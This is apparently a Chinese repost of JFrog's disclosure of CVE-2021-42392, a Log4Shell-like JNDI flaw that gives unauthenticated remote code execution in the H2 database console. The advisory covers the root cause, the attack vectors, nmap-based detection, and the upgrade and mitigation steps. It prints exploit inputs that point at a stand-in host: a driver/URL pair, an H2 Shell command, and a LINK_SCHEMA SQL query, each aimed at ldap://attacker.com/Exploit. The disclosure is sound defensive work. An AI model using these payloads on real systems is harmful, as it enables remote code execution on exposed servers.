簡介

最近，JFrog安全研究團隊披露了H2數(shù)據(jù)庫控制臺中的一個安全漏洞，其編號為CVE-2021-42392。這個安全漏洞與Apache Log4j中臭名昭著的Log4Shell漏洞（JNDI遠程類加載）有著相同的根源。

H2是一個非常流行的開源Java SQL數(shù)據(jù)庫，提供一個輕量級的內(nèi)存解決方案，使得用戶無需將數(shù)據(jù)存儲在磁盤上。這使得它成為各種項目的首選數(shù)據(jù)存儲解決方案：從Spring Boot等網(wǎng)絡(luò)平臺到ThingWorks等物聯(lián)網(wǎng)平臺。而com.h2database:h2包則是最流行的50個Maven包之一，具有近7000個工件依賴項。

由于目前任何與（Java）JNDI有關(guān)的東西都很敏感，所以，在介紹H2漏洞發(fā)現(xiàn)之旅之前，我們有必要先澄清一下成功利用該漏洞的前提條件和配置。

盡管這兩個漏洞的根源相似，但由于以下因素，CVE-2021-42392漏洞并沒有像Log4Shell（CVE-2021-44228）漏洞那樣常見：

1、與Log4Shell不同，該漏洞的影響范圍是“直接”的。這意味著，通常只有處理初始請求的服務(wù)器(H2控制臺）才會受到該RCE的影響。與Log4Shell相比，這個漏洞的影響相對較小，因為易受攻擊的服務(wù)器應(yīng)該很容易找到。

2、在H2數(shù)據(jù)庫的vanilla發(fā)行版上，默認(rèn)情況下，H2控制臺只監(jiān)聽本地主機連接：這使得默認(rèn)設(shè)置是安全的。這與Log4Shell不同，Log4Shell在Log4j的默認(rèn)配置中是可以利用的。然而，值得注意的是，H2控制臺也可以很容易地被修改為監(jiān)聽遠程連接。

3、許多供應(yīng)商可能運行H2數(shù)據(jù)庫，但并不會運行H2控制臺。盡管除了控制臺之外還有其他可利用這個漏洞的途徑，但它們都嚴(yán)重依賴于上下文，所以不太可能暴露給遠程攻擊者。

也就是說，如果您運行的H2控制臺暴露給了局域網(wǎng)（或者更糟糕的是，廣域網(wǎng)），這個安全問題就很嚴(yán)重了（無需身份驗證的遠程代碼執(zhí)行漏洞），所以，您應(yīng)該立即將H2數(shù)據(jù)庫更新到2.0.206版本。

我們還發(fā)現(xiàn)，許多開發(fā)者工具都依賴H2數(shù)據(jù)庫，并特意暴露了H2控制臺（后面會舉一些例子）。根據(jù)最近針對開發(fā)者的供應(yīng)鏈攻擊的趨勢來看，如流行的存儲庫中的惡意包，應(yīng)該提高對開發(fā)者工具對所有合理使用情況的安全性的重視。我們認(rèn)為，依賴H2的開發(fā)者工具應(yīng)盡快采用修復(fù)后的數(shù)據(jù)庫版本，以提高其安全性。

【點擊查看學(xué)習(xí)資料】或私信回復(fù)“資料”獲取

我們?yōu)槭裁匆獟呙鐹NDI的漏洞？

我們從Log4Shell漏洞事件中得到的一個重要啟示是，由于JNDI的廣泛使用，必然會有更多的軟件包受到與Log4Shell相同的根源的影響：接受任意的JNDI查找URLs。因此，我們調(diào)整了自動漏洞檢測框架，將”javax.naming.Context.lookup“函數(shù)視為危險函數(shù)（sink），并將該框架釋放到Maven倉庫中，希望能找到與Log4Shell類似的安全漏洞。

我們得到的第一個有效命中點是關(guān)于H2數(shù)據(jù)庫包的。在確認(rèn)了這個問題后，我們把它報告給了H2的維護者，他們及時在新的版本中修復(fù)了這個問題，并在GitHub上發(fā)布了一個關(guān)鍵漏洞的公告。隨后，我們也公布了一個高危漏洞，編號為CVE-2021-42392。

在這篇文章中，我們將介紹我們在H2數(shù)據(jù)庫中發(fā)現(xiàn)的幾個允許觸發(fā)遠程JNDI查詢的攻擊途徑，其中一個途徑可以實現(xiàn)無需身份驗證的遠程代碼執(zhí)行。

漏洞根源：JNDI遠程類加載

簡單來說，該漏洞的根本原因與Log4Shell類似：H2數(shù)據(jù)庫框架中的幾個代碼路徑將未經(jīng)過濾的、攻擊者控制的URL直接傳遞給了javax.naming.Context.lookup函數(shù)，這將允許遠程加載代碼庫（又稱Java代碼注入，又稱遠程代碼執(zhí)行）。

具體來說，org.h2.util.JdbcUtils.getConnection方法需要一個驅(qū)動程序類名稱和數(shù)據(jù)庫URL作為參數(shù)。如果驅(qū)動程序的類可分配給javax.naming.Context類，則該方法會從中實例化一個對象并調(diào)用其查找方法：

else if (javax.naming.Context.class.isAssignableFrom(d)) {// JNDI contextContext context = (Context) d.getDeclaredConstructor().newInstance();DataSource ds = (DataSource) context.lookup(url);if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {return ds.getConnection();}return ds.getConnection(user, password); }

所以，如果提供一個驅(qū)動類（如javax.naming.InitialContext）和一個URL（如ldap://attacker.com/Exploit），就會導(dǎo)致遠程代碼執(zhí)行。

CVE-2021-42392攻擊向量

H2控制臺——上下文無關(guān)的、無需身份驗證的RCE

這個安全問題最嚴(yán)重的攻擊向量是通過H2控制臺發(fā)動攻擊。

H2數(shù)據(jù)庫包含一個內(nèi)嵌的、基于Web的控制臺，幫助管理員輕松管理數(shù)據(jù)庫。當(dāng)運行H2包JAR時，它在http://localhost:8082上是默認(rèn)可用的：

java -jar bin/h2.jar

此外，在Windows系統(tǒng)上，也可以通過“開始”菜單啟用它：

此外，當(dāng)H2作為一個嵌入式庫使用時，該控制臺可以從Java中啟動：

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082"); h2Server.start();

對控制臺的訪問是通過一個登錄表格來提供保護的，它允許將“driver”和“url”字段傳遞給JdbcUtils.getConnection的相應(yīng)字段。正是這一點導(dǎo)致了無需身份驗證的RCE，因為在用潛在的惡意URL進行查找之前，根本無需驗證用戶名和密碼。

在默認(rèn)情況下，H2控制臺只能從本地主機訪問。這一選項可以通過控制臺的用戶界面加以修改：

或者通過一個命令行參數(shù)：-webAllowOthers進行修改。

不幸的是，我們發(fā)現(xiàn)，一些依賴H2數(shù)據(jù)庫的第三方工具會默認(rèn)運行暴露給遠程客戶端的H2控制臺。例如，JHipster框架也暴露了H2控制臺，并默認(rèn)將webAllowOthers屬性設(shè)置為true。

# H2 Server Properties 0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest webAllowOthers=true webPort=8092 webSSL=false

從文檔中可以看出，當(dāng)使用JHipster框架運行應(yīng)用程序時，默認(rèn)情況下，允許在/h2-console端點上的JHipster web界面上使用H2控制臺：

由于H2數(shù)據(jù)庫被如此多的工件使用，所以很難量化H2控制臺中存在多少易受攻擊的部署。我們之所以認(rèn)為這是最嚴(yán)重的攻擊向量，也是因為使用公共搜索工具就可以定位面向WAN的易受攻擊的控制臺。

H2 Shell工具：依賴上下文的RCE

在內(nèi)置的H2 shell中，能夠控制命令行參數(shù)的攻擊者，可以調(diào)用前面提到的易受攻擊的驅(qū)動程序和url來搞事情：

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

我們認(rèn)為這種攻擊向量是難以奏效的，因為這要求存在自定義代碼，還需要將遠程輸入通過管道傳輸這些命令行參數(shù)。但是，如果存在這樣的自定義代碼，攻擊者就可以控制命令行的某些部分，那么這種攻擊就比較有希望了，并能發(fā)動參數(shù)注入攻擊。關(guān)于這種攻擊的更多細節(jié)，請參閱我們的Yamale文章。

基于SQL的向量：需要身份驗證的（高權(quán)限的）RCE

此外，易受攻擊的JdbcUtils.getConnection也可以被幾個SQL存儲過程調(diào)用，而這些存儲過程在H2數(shù)據(jù)庫中是默認(rèn)可用的。我們已經(jīng)確定了幾個存儲過程，但它們都有相同的屬性，這使得這種攻擊向量威力有限——因為只有經(jīng)過身份驗證的管理員才能調(diào)用它們。

例如，LINK_SCHEMA存儲過程直接將驅(qū)動程序和URL參數(shù)傳遞到易受攻擊的函數(shù)中，具體如下面的查詢所示：

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于該存儲過程只限于DB管理員使用，所以，我們認(rèn)為最可能的攻擊手段是將單獨的SQL注入漏洞升級為RCE漏洞。

如何檢測自己是否受到CVE-2021-42392漏洞的影響？

網(wǎng)絡(luò)管理員可以用nmap掃描他們的本地子網(wǎng)，查看H2控制臺的開放實例，例如：

nmap -sV --script http-title --script-args "http-title.url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(在vanilla安裝中，默認(rèn)的控制臺端點是"/"；對于通過第三方工具部署的H2控制臺來說，情況可能有所不同)

任何返回的服務(wù)器都很可能被利用。

如上所述，盡管還存在其他攻擊向量，不過通過它們進行遠程利用的可能性要小得多。但是無論如何，我們都建議用戶升級H2數(shù)據(jù)庫（詳見后文）。

我們是如何檢測到CVE-2021-42392的？

這個安全問題可以通過數(shù)據(jù)流分析（DFA）檢測到，尤其是把Java內(nèi)置的HttpServlet.doGet/doPost方法定義為用戶輸入源（特別是第1個req參數(shù)），而把上述的javax.naming.Context.lookup方法（執(zhí)行JNDI查找）定義為危險函數(shù)/匯時。

這種情況下的數(shù)據(jù)流是相當(dāng)直接的，盡管需要對一些類的字段進行追蹤。紅色標(biāo)記的變量代表追蹤的數(shù)據(jù)：

針對CVE-2021-42392的修復(fù)建議

我們建議所有H2數(shù)據(jù)庫的用戶盡快升級到2.0.206版本，即使您沒有直接使用H2控制臺。這是因為還存在其他攻擊途徑，其可利用性目前還難以確定。

2.0.206版通過限制JNDI URL只使用（本地）java協(xié)議來修復(fù)CVE-2021-42392漏洞，并拒絕任何遠程LDAP/RMI查詢。這與Log4j 2.17.0中應(yīng)用的修復(fù)方法類似。

如何緩解CVE-2021-42392漏洞的影響？

對該漏洞的最佳修復(fù)方法是升級H2數(shù)據(jù)庫。

對于目前無法升級H2的供應(yīng)商，我們提供以下緩解方案：

1、與Log4Shell漏洞類似，較新版本的Java包含trustURLCodebase緩解措施，不允許通過JNDI直接加載遠程代碼庫。供應(yīng)商可升級其Java（JRE/JDK）版本，以啟用這一緩解措施。

該緩解措施在以下版本的Java（或任何更高的版本）中都是默認(rèn)啟用的：

6u2117u2018u19111.0.1

然而，這種緩解措施并不是無懈可擊的，因為攻擊者可以通過LDAP發(fā)送一個序列化的“gadget”Java對象就可以繞過該緩解措施，只要相應(yīng)的“gadget”類被包含在classpath中（取決于運行H2數(shù)據(jù)庫的服務(wù)器）即可。

2、當(dāng)H2控制臺Servlet被部署在Web服務(wù)器上時（不使用獨立的H2 Web服務(wù)器），可以添加一個安全約束，只允許特定的用戶訪問控制臺頁面。一個合適的配置例子可以在這里找到。

總結(jié)

最后，我們強烈建議將您的H2數(shù)據(jù)庫升級到最新版本，以避免受到與CVE-2021-42392漏洞有關(guān)的攻擊。我們的安全研究團隊正在持續(xù)掃描類似的JNDI漏洞，這既是為了負責(zé)任的披露目的，也是為了提高我們未來零日漏洞的檢測能力。據(jù)我們所知，CVE-2021-42392是Log4Shell之后公布的第一個JNDI相關(guān)的無需身份驗證的RCE漏洞，但我們懷疑它絕不會是最后一個。

總結(jié)

以上是生活随笔為你收集整理的深入分析H2数据库控制台中无需身份验证的RCE漏洞的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。